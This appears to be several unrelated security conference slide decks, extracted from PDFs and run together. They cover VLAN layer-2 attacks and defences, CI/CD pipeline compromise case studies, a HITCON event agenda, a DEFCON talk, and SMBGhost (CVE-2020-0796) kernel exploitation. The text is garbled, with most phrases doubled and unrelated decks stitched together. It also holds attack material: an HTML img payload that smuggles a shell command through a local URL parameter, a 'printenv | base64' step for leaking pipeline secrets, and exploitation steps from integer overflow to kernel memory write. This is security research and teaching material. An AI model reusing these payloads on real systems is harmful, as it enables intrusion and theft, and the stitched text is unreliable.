to be a VoIP phone an attacker Power exhaustion – claiming to be a VoIP phone an attacker can reserve electrical power can reserve electrical power • CDP cache pollution – CDP table becomes unusable because CDP cache pollution – CDP table becomes unusable because it contains a lot of false information it contains a lot of false information VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 20 20 VLAN Layer 2 Attacks  Turn the sh*t off Turn the sh*t off  Router # no cdp enable Router # no cdp enable  Switch (enable) set cdp disable 1/23 Switch (enable) set cdp disable 1/23  The question is why is CDP enabled on a The question is why is CDP enabled on a network? IP phones are popular, CDP is network? IP phones are popular, CDP is used in order to determine the actual used in order to determine the actual power requirement for the phone. power requirement for the phone. K &T :: IGS :: MAF K &T :: IGS :: MAF 21 21 VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 22 22  Sending RAW Configuration BPDU Sending RAW Configuration BPDU  Sending RAW TCN BPDU Sending RAW TCN BPDU  DoS sending RAW Configuration BPDU DoS sending RAW Configuration BPDU  DoS Sending RAW TCN BPDU DoS Sending RAW TCN BPDU  Claiming Root Role Claiming Root Role  Claiming Other Role Claiming Other Role  Claiming Root Role Dual-Home (MITM) Claiming Root Role Dual-Home (MITM)  STP Attack – involves an attacker spoofing the root STP Attack – involves an attacker spoofing the root bridge in the topology bridge in the topology  Attacks Attacks VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 23 23  STP sending conf BPDUs DoS STP sending conf BPDUs DoS VLAN Layer 2 Attacks  Spanning tree functions must be disabled on all user Spanning tree functions must be disabled on all user interfaces but maintained for Network to Network interfaces but maintained for Network to Network Interfaces to avoid a network loop. Interfaces to avoid a network loop.  Enable Enable root guard root guard on Cisco equipment, or BPDU on Cisco equipment, or BPDU guard on users ports to disable the thus of priority zero guard on users ports to disable the thus of priority zero and hence becoming a root bridge. and hence becoming a root bridge. Example: Example: #spanning-tree portfast dbduguard #spanning-tree portfast dbduguard #interface fa0/10 #interface fa0/10 #spanning-tree guard root #spanning-tree guard root K &T :: IGS :: MAF K &T :: IGS :: MAF 24 24 VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 25 25  This involves spoofing, in rapid This involves spoofing, in rapid succession, a series of multicast frames succession, a series of multicast frames  Frames leak into other VLANs if the Frames leak into other VLANs if the routing mechanism in place between the routing mechanism in place between the VLANS VLANS  Injecting packets into multicast also can Injecting packets into multicast also can cause a DoS scenario cause a DoS scenario VLAN Layer 2 Attacks  Buy more capable switches! Buy more capable switches!  The Layer 2 multicast packets should be The Layer 2 multicast packets should be constrained within the ingress VLAN. No constrained within the ingress VLAN. No packets should be 'leaked' to other packets should be 'leaked' to other VLANs. VLANs. K &T :: IGS :: MAF K &T :: IGS :: MAF 26 26 VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 27 27  VTP has the ability to add and remove VLAN from the VTP has the ability to add and remove VLAN from the network. (Someone will get fired if this happens!) network. (Someone will get fired if this happens!)  VTP involves a station sending VTP messages through VTP involves a station sending VTP messages through the network, advertising that there are no VLANs. the network, advertising that there are no VLANs.  All client VTP switches erase their VLANs once All client VTP switches erase their VLANs once receiving the message receiving the message  Attacks: Attacks:  Sending VTP Packet Sending VTP Packet  Deleting all VTP VLANs Deleting all VTP VLANs  Deleting one VLAN Deleting one VLAN  Adding one VLAN Adding one VLAN VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 28 28  If you like your job don’t use VTP! If you like your job don’t use VTP! VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 29 29  Private VLANs only isolate traffic at Private VLANs only isolate traffic at Layer 2 Layer 2  Forward all traffic via Layer 3 to get to the Forward all traffic via Layer 3 to get to the private VLAN private VLAN  Scapy Scapy is your best friend! is your best friend! VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 30 30 VLAN Layer 2 Attacks  Configure VLAN access lists on the Configure VLAN access lists on the router interface router interface Example: Example: # vlan access-map map_name (0-65535) # vlan access-map map_name (0-65535) K &T :: IGS :: MAF K &T :: IGS :: MAF 31 31 VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 32 32  Attacker configures a system to spoof Attacker configures a system to spoof itself as a switch by emulating either itself as a switch by emulating either 802.1q or ISL 802.1q or ISL  Another variation involves tagging Another variation involves tagging transmitted frames with two 802.1q transmitted frames with two 802.1q headers. headers. VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 33 33 VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 34 34  Disable auto-trunking Disable auto-trunking  Unused ports, other than trunk port should be removed. Unused ports, other than trunk port should be removed.  For backbone switch to switch connections, explicitly For backbone switch to switch connections, explicitly configure trunking configure trunking  Do not use the user native VLAN as the trunk port native Do not use the user native VLAN as the trunk port native VLAN VLAN  Do not use VLAN 1 as the switch management VLAN Do not use VLAN 1 as the switch management VLAN VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 35 35  VLAN numbers and identification are VLAN numbers and identification are carried in a special extended format. carried in a special extended format.  Instead, outside of a switch, the tagging Instead, outside of a switch, the tagging rules are dictated by standards such as ISL rules are dictated by standards such as ISL or 802.1Q. or 802.1Q.  This allows the forwarding path to maintain This allows the forwarding path to maintain VLAN isolation from end to end without loss VLAN isolation from end to end without loss of information. of information. VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 36 36 VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 37 37  Ensure that the native VLAN is not Ensure that the native VLAN is not assigned to any port assigned to any port  Force all traffic on the trunk to always Force all traffic on the trunk to always carry a tag carry a tag VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 38 38  The VLAN Management Policy Server is for assigning dynamically The VLAN Management Policy Server is for assigning dynamically created VLANs based on MAC/IP address or HTTP authentication created VLANs based on MAC/IP address or HTTP authentication (URT). VMPS is a centralized host information database which is can (URT). VMPS is a centralized host information database which is can be downloaded to servers via TFTP. be downloaded to servers via TFTP.  All VMPS traffic is in clear text, unauthenticated and over UDP, and All VMPS traffic is in clear text, unauthenticated and over UDP, and may be misused for hijacking purposes may be misused for hijacking purposes VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 39 39  VMPS traffic shall be transmitted on a Out Of Band VMPS traffic shall be transmitted on a Out Of Band basis (user traffic separate network) or not used. basis (user traffic separate network) or not used. VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 40 40  Manage switches in as secure a manner as possible (SSH, OOB, permit Manage switches in as secure a manner as possible (SSH, OOB, permit lists, etc.) lists, etc.)  Always use a dedicated VLAN ID for all trunk ports. Be paranoid: do not Always use a dedicated VLAN ID for all trunk ports. Be paranoid: do not use VLAN 1 for anything. use VLAN 1 for anything.  Deploy port security. Deploy port security.  Set users ports to a non trunking state. Set users ports to a non trunking state.  Deploy port-security whenever possible for user ports. Deploy port-security whenever possible for user ports.  Selectively use SNMP and treat community strings like root passwords. Selectively use SNMP and treat community strings like root passwords.  Have a plan for the ARP security issues in your network. Have a plan for the ARP security issues in your network.  Use private VLANS where appropriate to further divide L2 networks. Use private VLANS where appropriate to further divide L2 networks. Disable all unused ports and put them in an unused VLAN. Disable all unused ports and put them in an unused VLAN.  Consider 802.1X for the future and ARP inspection Consider 802.1X for the future and ARP inspection  Use BPDU guard, Root guard Use BPDU guard, Root guard  Disable CDP whenever possible Disable CDP whenever possible  Ensure DHCP attack prevention Ensure DHCP attack prevention
pdf
#BHUSA @BlackHatEvents RCE-as-a-Service: Lessons Learned from 5 Years of Real-World CI/CD Pipeline Compromise Iain Smart & Viktor Gazdag #BHUSA @BlackHatEvents Information Classification: General WhoAreWe Iain Smart (@smarticu5) NCC Group Containerisation Practice Lead 6 years Container & Cloud Pentesting Viktor Gazdag (@wucpi) Jenkins Security MVP, Cloud Research Group Lead 7 years Pentest - Internal & External Team #BHUSA @BlackHatEvents Information Classification: General Terminology CI – Continuous Integration CD – Continuous Development/Deployment Pipeline – A task or series of tasks performed automatically Secrets – Something sensitive you wouldn’t want to be made public (e.g. a password) RCE – Remote Code Execution @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General CI/CD Overview @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General CI/CD Overview @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Attacker’s View Code goes in, apps come out Pipelines have network access to a range of environments Pipelines have credentials to pull dependencies and push artifacts Free compute resources @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Scenarios #BHUSA @BlackHatEvents Information Classification: General Developers Access @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Git Access Granted developer access to an internal Bitbucket repo @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Git Access > Load Dependencies Apache Maven Project Could modify project dependencies Hosted dependency on an attacker-controlled URL @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Git Access > Load Dependencies > Jenkins Runner Shell Meterpreter shell from Jenkins runner Limited environment means easy recon Found keys @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Git Access > Load Dependencies > Jenkins Runner Shell > Pivot Network Recon – SSH File system access – SSH key Put them together? It just makes sense. @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Git Access > Load Dependencies > Jenkins Runner Shell > Pivot > Root SSH access to Jenkins control nodes Secrets for all projects Kubeconfig file @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Lessons Learned Build/Credential hygiene Network filtering Dependency validation and sources @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Confusing Wording @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General GitHub Authorization GitHub Authorization Plugin "Grant READ Permissions to All Authenticated Users" - Not “All Authenticated Users in this Organisation” @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General GitHub Authorization > Jenkins Access with Gmail Account Register an arbitrary account in GitHub to log in Log in to Jenkins Access to build jobs and history No monitoring and alerting @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Lessons Learned Read the description and test Least privilege principal Separation of duties Monitoring and alerting @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Build Output @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Jenkins Login Authenticated Users had Overall/Administrator role in Jenkins Infra as Code pipeline with terraform cli within the steps No monitoring and alerting @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Jenkins Login > Job Logs Terraform cli output in build output Output did not mask any secrets Showed all users AWS API keys @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Lessons Learned Least privilege principal Separation of duties Dedicated plugin with output masking Monitoring and alerting @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General FSAS Engagement @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Entry Red team compromised a developer account Git access to a range of repositories @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Entry > Pipeline Access Pipeline modifications Pipeline prevented displaying of env variables printenv | base64 @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Entry > Pipeline Access > Credentials Service account with Domain Admin access @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Lessons Learned Restrict secrets to specific branches Don’t run anything as Domain Admin @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Web Application LFI @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Web App Internal infrastructure assessment Identified web application SSRF/LFI vulnerabilities Application was deployed for testing mid-pipeline @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Web App > Kubernetes Read service account token through LFI Use to communicate with Kubernetes API Server Permissions to edit Configmaps (AWS EKS authentication) Gained cluster admin on the build cluster @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Web App > Kubernetes > Container Registry Stole AWS IAM credentials to deploy to ECR @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Web App > Kubernetes > Container Registry > Kubernetes Production workloads used pull-based CI Overwrote images in ECR, new images were automatically pulled @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Lessons Learned Network isolation RBAC – least privilege @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General From Cloud Web App to On-Prem Server @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Web App Started of WordPress with some custom pages Application had directory listings enabled S3 bucket linked as sitemap File responsible to push code to GitHub @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Web App > Git File had hardcoded credentials in S3 allowed access to VCS Developer access to multiple repositories with read and write No alert on signing in with the account, but had logs @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Web App > Git > Jenkins Same credentials allowed access to Jenkins, as an administrator 14 cluster with 200 build servers or agents @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Web App > Git > Jenkins > Lateral Movement Cluster admin on 14 Jenkins Master and 200 Jenkins build servers Dump credentials from Jenkins: 200+ API Tokens, SSH Keys @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Lessons Learned Credential hygiene Secret management Least privilege principal Lack of monitoring and alerting @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Branched-Based Secrets @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Developer Access Developers had no direct access to production cloud environments Only main branch deployed to prod Main branch protected, and required merge approval @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Developer Access > Circle CI Pipelines configured using CircleCI YAML files Configuration files in the same repo as application code Secrets specified per branch @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Developer Access > Circle CI @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Developer Access > Circle CI @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Developer Access > Circle CI > Privilege Escalation Developers could modify pipeline configuration file in non-Main branches @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Lessons Learned Validate secret management/protection Assume every developer is malicious (or trust them) Log and audit credential use Least privilege RBAC @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Privilege Escalation @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General SSO Credentials Login with SSO Credentials Testing 3 separated roles: read, build, admin Locked down and documented roles @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General SSO Credentials > Privilege Escalation Build user with Build/Replay permission Code execution with Groovy @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General SSO Credentials > Privilege Escalation > Credentials Dump Credentials dump @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Lessons Learned Least privilege principal @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Common Themes Service hardening Network segmentation Monitoring & alerting Patch management RBAC (is still difficult) @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Preventions Threat modelling Network segmentation Patch management Monitoring & alerting Secrets management RBAC – Least privilege @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Conclusion CI/CD is beneficial, but also complex None of these problems are new Environments are rarely threat modelled Little focus on the pipeline and infra @smarticu5 & @wucpi RCE-As-A-Service #BHUSA @BlackHatEvents Information Classification: General Questions? @smarticu5 – iain.smart@nccgroup.com @wucpi – viktor.gazdag@nccgroup.com @smarticu5 & @wucpi RCE-As-A-Service
pdf
時間 題⺫⽬目 主講者 13:00 - 13:30 記者會 – VulReport 發表會 Sylphid Su 13:30 - 14:00 聽眾報到 14:00 - 14:30 開場及 2014 年度回顧 / HITCON 2015 TT 14:30 -  15:00 2014 年台灣企業安全常⾒見⾵風險剖析 Bowen Hsu 15:00 - 15:20 下午茶 15:20 - 15:50 駭客如何弄垮企業? 從索尼影業與南韓核電廠事件說起 GasGas / Fyodor 15:50 - 16:40 Operation GG 台灣最熱⾨門網遊安裝檔 驚⾒見網軍後⾨門 Kenny / PK / Kaspersky Trend Micro 16:40 - 17:40 座談 TT @ HITCON.org Free Talk 2015.01.09 致 謝 Live broadcasting 公⺠民攝影守護⺠民主陣線 注意事項 可以拍照,但只能對著台上拍 不可以錄影 會議室內禁⽌止飲⻝⾷食 ⼿手機請調成靜⾳音 連 wifi ⾃自⼰己要⼩小⼼心 不要踢到攝護線 台灣駭客年會默默的推動國家資安的發展 數百場世界頂尖資安研究分享 國際⼤大廠持續關注台灣資安研究 國內外資安社群交流 讓更多⼈人願意關注資安, 學習資安 我們把國外⾼高⼿手, 廠商, 帶來台灣 也把台灣的優秀研究, 推向國際 傳遞最新資安訊息 HITCON Free Talk 2014 回顧與 2015 展望 HITCON CTF 戰隊 CHROOT / HITCON 實習⽣生計畫 2015 ? HITCON Junior HITCON Junior 計畫 ⾛走出台北,到各地或校園推廣資安 我們歡迎各地資安社團與我們聯繫 近期推出,請密切注意 HITCON Facebook 也徵求贊助商 2014 的資安狀況? 2014 – The Year of 0day Legacy Vulnerabilities CVE - 2014 - 0160 Heartbleed OpenSSL Critical information leakage CVE - 2014 -1761 Microsoft Office Word RTF Document CVE - 2014 -1776 Internet Explorer 0day Spear phishing with waterhole attack CVE - 2014 - 6271 Shellshock 25 years old CVE - 2014 - 7169 CVE - 2014 - 4114 Sand Worm Microsoft Office Powerpoint Logical flaw MS-12-005 CVE - 2014 - 6332 Internet Explorer 19 years IE 3.0 - IE 11 Windows 95 - Windows 8.1 GG 的⼀一年 時間 題⺫⽬目 主講者 13:00 - 13:30 記者會 – VulReport 發表會 Sylphid Su 13:30 - 14:00 聽眾報到 14:00 - 14:30 開場及 2014 年度回顧 / HITCON 2015 TT / Alan 14:30 -  15:00 2014 年台灣企業安全常⾒見⾵風險剖析 Bowen Hsu 15:00 - 15:20 下午茶 15:20 - 15:50 駭客如何弄垮企業? 從索尼影業與南韓核電廠事件說起 GasGas / Fyodor 15:50 - 16:40 Operation GG 台灣最熱⾨門網遊安裝檔 驚⾒見網軍後⾨門 Kenny / PK / Kaspersky Trend Micro 16:40 - 17:40 座談
pdf
​ asar e app.asar dst 0x00 0x01 0x02 <body> <img src='https://127.0.0.1:54530/a=%3A%22%5C%22%20-a%3Bopen%20%2FSystem%2FApplications%2FCalendar.app%3B%5C%22%22%2C %22withShortcut%22%3A1%7D'></img> </body> ​ 0x03 awvs ​ 0x03
pdf
Your boss is a douchebag... How about you? effffn agenda [ Intro [ hacker jobs [ Job status [ Why (some of us) hate it [ Our own mistakes [ Why do we make mistakes? [ Turn the tables [ conclusion DEFCON 18 What matters... [ What you do... [ How much you make... [ Company you work for... [ Your boss... conclusion thanks @effffn effffn@gmail.com
pdf
My journey on SMBGhost Angelboy angelboy@chroot.org @scwuaptx Whoami • Angelboy • Researcher at DEVCORE • CTF Player • HITCON / 217 • Chroot • Co-founder of pwnable.tw • Speaker • HITB GSEC 2018/AVTokyo 2018/VXCON Outline • Introduction • Vulnerability - CVE-2020-0796 • Exploitation of SMBGhost • From crash to arbitrary memory writing • How can we get code execution from arbitrary memory writing in the past • Method 1 - System root hijack (need some condition) • Method 2 - Abusing MDL Outline • Introduction • Vulnerability - CVE-2020-0796 • Exploitation of SMBGhost • From crash to arbitrary memory writing • How can we get code execution from arbitrary memory writing in the past • Method 1 - System root hijack (need some condition) • Method 2 - Abusing MDL Introduction • Server Message Block (SMB) 是 Windows 中常⾒共享檔案的協定,基本上只 要安裝完 Windows 就會在 445 port 開啟這樣的協定,在企業中更是常⾒ • MS17-010 • EternalBlue • WannaCry • CVE-2020-0796 • SMBGhost Introduction • Server Message Block (SMB) Server Client Negotiate request Negotiate Response Session setup Session setup resp Tree connect Tree connect response Open\Read … Outline • Introduction • Vulnerability - CVE-2020-0796 • Exploitation of SMBGhost • From crash to arbitrary memory writing • How can we get code execution from arbitrary memory writing in the past • Method 1 - System root hijack (need some condition) • Method 2 - Abusing MDL SMBGhost • Environment • Windows 10 19H1, 19H2 • SMBCompression • SMB 3.1.1 後開始⽀援對 data 及 command 的壓縮 • Protocol ID : 0x424D53FC (\xfcSMB) • 只要 smb 封包開頭是 (\xfcSMB) 就會⽤ decompress 來解讀後需內 容 Vulnerability Introduction • Server Message Block (SMB) Server Client Negotiate request Negotiate Response Compress Session setup Compress Session setup resp Tree connect Tree connect response Open\Read … • SMBCompression Header SMBGhost Vulnerability SMBGhost • SMBCompression Header • OriginalCompressedSegmentSize • 原始壓縮數據的⼤⼩ • CompressionAlgorithm • 壓縮演算法 LZNT1/LZ77/LZ77+Huffman • 可⽤的壓縮法會先在 Negotiate 封包先定義 • Offset/Length • Data 中開始壓縮的 offset Vulnerability SMBGhost OriginalCompressedSegmentSize CompressionAlgorithm Flag Offset \xfcSMB Compressed data Uncompressed data Uncompressed data Decompressed data Decompress Srv buffer SMBCompression Header SMBGhost OriginalCompressedSegmentSize CompressionAlgorithm Flag Offset \xfcSMB Compressed data Uncompressed data Uncompressed data Decompressed data Decompress Srv buffer Data SMBGhost • srv2!srv2DecompressData • Integer overflow when it allocates decompress buffer • Lead to out of bounds Vulnerability Vulnerability - SMBGhost Buffer size = 0xfffffff0 + 0x100= 0xf0 Decompress Buffer 0xf0 Vulnerability - SMBGhost Buffer+ offset = buffer + 0x100 Decompress Buffer Buffer size = 0xfffffff0 + 0x100= 0xf0 0xf0 0x100 Decompress Data Out of bound Outline • Introduction • Vulnerability - CVE-2020-0796 • Exploitation of SMBGhost • From crash to arbitrary memory writing • How can we get code execution from arbitrary memory writing in the past • Method 1 - System root hijack (need some condition) • Method 2 - Abusing MDL Exploitation of SMBGhost • 當 Driver 需要 access user 傳進來的 buffer 時,有可能執⾏ driver 的 thread 與 user request thread 不同或者 user buffer 在 page out 下,因為 driver IRQL >= 2 不會有 paging,⽽有可能導致無法正確 access 到,因此 Windows 由提供下列幾種⽅式來 access user data • Buffered I/O • Direct I/O • Neither Buffered Nor Direct I/O Methods for Accessing Data Buffers in windows driver Exploitation of SMBGhost • Buffered I/O (read) Methods for Accessing Data Buffers in windows driver User space Kernel space User buffer User space Kernel space User buffer System buffer User space Kernel space User buffer System buffer COPY User space Kernel space User buffer System buffer Allocate Read Some data Complete Exploitation of SMBGhost • Buffered I/O (write) Methods for Accessing Data Buffers in windows driver User space Kernel space User buffer User space Kernel space User buffer System buffer User space Kernel space User buffer System buffer COPY Allocate Copy Exploitation of SMBGhost • Direct I/O Methods for Accessing Data Buffers in windows driver User space Kernel space User buffer Physical addr User space Kernel space User buffer Physical addr Lock Kernel buffer It will use kernel buffer to accesss data MDL Exploitation of SMBGhost • Direct I/O Methods for Accessing Data Buffers in windows driver User space Kernel space User buffer Physical addr User space Kernel space User buffer Physical addr Lock Kernel buffer It will use kernel buffer to accesss data MDL Exploitation of SMBGhost • Memory descriptor list (MDL) • 描述⼀段連續虛擬記憶體區塊與 physical address (通常不連續) 對應的結構 • 主要⽤於 I/O 操作,使⽤時會將提供的 Virtual Address lock 使得該記憶體 區段變為 non-paged ,操作結束後會 unlock ,讓該記憶體區段變回 paged ,Virtual Address 可為 User Mode 或 Kernel Mode • 也可⽤於 DMA (Directly Memory Access) Methods for Accessing Data Buffers in windows driver Exploitation of SMBGhost Next _MDL Size MdlFlags AllocationProdessorNumber Reserved Process MappedSystemVa StartVa ByteCount ByteOffset 0x43a3 0x1337 Physical addr User buffer Exploitation of SMBGhost Next _MDL Size MdlFlags AllocationProdessorNumber Reserved Process MappedSystemVa StartVa ByteCount ByteOffset Physical Address[x] 0x0 0x8 0xa 0xc 0xe 0x10 0x18 0x20 0x28 0x2c 0x30 • _MDL • Next (_MDL) • 指向下⼀個 MDL 結構,⽤於 UserBuffer 為不連續的虛擬記憶體 區段 • Size • 該 MDL structure 的⼤⼩,取決於 尾段 physical address 數量 Exploitation of SMBGhost • _MDL • MdlFlags • 描述該 MDL 狀態,如⽤於何處 • Process (_EPROCESS) • 該 Virtual address 所屬的 Process 結構 Next _MDL Size MdlFlags AllocationProdessorNumber Reserved Process MappedSystemVa StartVa ByteCount ByteOffset Physical Address[x] 0x0 0x8 0xa 0xc 0xe 0x10 0x18 0x20 0x28 0x2c 0x30 Exploitation of SMBGhost • Mdlflags Exploitation of SMBGhost • _MDL • MappedSystemVa • 該 buffer 的起始位置 • StartVa • 該 buffer 所屬的 virtual address 的 開頭 (page alignment) • 可以在 user space 或 kernel space Next _MDL Size MdlFlags AllocationProdessorNumber Reserved Process MappedSystemVa StartVa ByteCount ByteOffset Physical Address[x] 0x0 0x8 0xa 0xc 0xe 0x10 0x18 0x20 0x28 0x2c 0x30 Exploitation of SMBGhost • _MDL • Physical Address • 該 buffer 所對應到的 physical address • 會 >> 12 後在存入 • 在 Map MappedSystemVa 時, 會將該 PA map 到虛擬記憶體上 Next _MDL Size MdlFlags AllocationProdessorNumber Reserved Process MappedSystemVa StartVa ByteCount ByteOffset Physical Address[x] 0x0 0x8 0xa 0xc 0xe 0x10 0x18 0x20 0x28 0x2c 0x30 Exploitation of SMBGhost • Neither Buffered Nor Direct I/O • The operating system passes the application buffer's virtual starting address and size to the driver stack. The buffer is only accessible from drivers that execute in the application's thread context. • only highest-level drivers, such as FSDs, can use this method for accessing buffers. • 使⽤時必須注意傳入位置是否屬於 user space ,寫入時也需檢查要寫入的 buffer 是否屬於 user space ,漏洞常發⽣於此 • ProbeForRead  • ProbeForWrite Methods for Accessing Data Buffers in windows driver Exploitation of SMBGhost • SMB uses Direct I/O • Receive and response buffer 會使⽤ MDL 來描述 • 最後會透過 tcpip.sys 來傳遞 • 可採⽤ DMA 形式來傳輸 Methods for Accessing Data Buffers in windows driver Exploitation of SMBGhost • SrvNetAllocateBuffer() • SMB 所使⽤的記憶體基本上由 srvnet.sys 所管理 • Receive & Response buffer • 該記憶體管理使⽤ lookasidelist 來管理釋放的記憶體區塊,分配時如果 lookasidelist 有適合的 free block 就會使⽤該記憶體區塊 • Size 區間為 [0x1100,0x2100,0x4100,0x8100,…,0x100100] ,相同⼤⼩ Freed block 會被放入同⼀個 linked list 中,另外每個 CPU 都會有⾃⼰獨立的 lookasidelist • 超過則使⽤系統的 ExPoolAllocate From crash to arbitrary memory writing Exploitation of SMBGhost • SrvNetAllocateBuffer Allocation Structure • ⽤來管理 srvnet 所分配的記憶體區塊的結構,每個分配出去的 buffer 都會 有⼀個 • SrvNetAllocateBuffer(…) 所回傳的是該結構 • 與其他記憶體分配結構所回傳的不同,該 function 所回傳的是記憶體管理 結構,⽽不是單純的記憶體區塊 From crash to arbitrary memory writing Exploitation of SMBGhost • SrvAllocStruct • Flag • Inused flag 表⽰該 buffer 是 freed 還是正在使 ⽤ • Lookaside index • 在 lookaside list 中的 index • Allocate CPU • 分配時的 cpu number From crash to arbitrary memory writing Flag 0x10 Lookaside index 0x12 Allocate CPU 0x14 … Buffer 0x18 Size … 0x20 MDL 0x50 … Padding Next 0x8 Exploitation of SMBGhost • SrvAllocStruct • Buffer • 該結構所管理的記憶體區塊,也就是使⽤時 會⽤的 buffer • Size • 該 Buffer 的⼤⼩ From crash to arbitrary memory writing Padding Flag 0x10 Lookaside index 0x12 Allocate CPU 0x14 … Buffer 0x18 Size … 0x20 MDL 0x50 … Next 0x8 Exploitation of SMBGhost • SrvAllocStruct • MDL • 指向描述該 buffer 的 MDL ,在做記憶體讀 寫、傳送封包時會使⽤該 MDL ,來做記憶 體相關操作 • Next • 指向下⼀塊 Freed SrvAllocStruct From crash to arbitrary memory writing Flag 0x10 Lookaside index 0x12 Allocate CPU 0x14 … Buffer 0x18 Size … 0x20 MDL 0x50 … Padding Next 0x8 Exploitation of SMBGhost From crash to arbitrary memory writing SrvNetBufferLookasides[0] SrvNetBufferLookasides[1] … Padding Flag (0) Lookaside index (0) Allocate CPU (1) … Buffer 0x1100 … MDL Next LookasisidesList[0] LookasisidesList[1] LookasisidesList[2] Allocate Buffer (0x1100) srvnet!SrvNetBufferLookasides LookasisidesList[cpu_cnt] SrvAllocStruct _MDL Next Size MdlFlags AllocationProdessorNumber Reserved Process MappedSystemVa StartVa ByteCount ByteOffset Physical Address[x] ProcessorCount Size LookasisidesList * … … NetBufferLookasides structure … Depth … SrvAllocStruct * LookasisidesListEntry Exploitation of SMBGhost From crash to arbitrary memory writing SrvNetBufferLookasides[0] SrvNetBufferLookasides[1] … Padding Flag (0) Lookaside index (0) Allocate CPU (1) … Buffer 0x1100 … MDL Next LookasisidesList[0] LookasisidesList[1] LookasisidesList[2] Allocate Buffer (0x1100) srvnet!SrvNetBufferLookasides LookasisidesList[cpu_cnt] SrvAllocStruct _MDL Next Size MdlFlags AllocationProdessorNumber Reserved Process MappedSystemVa 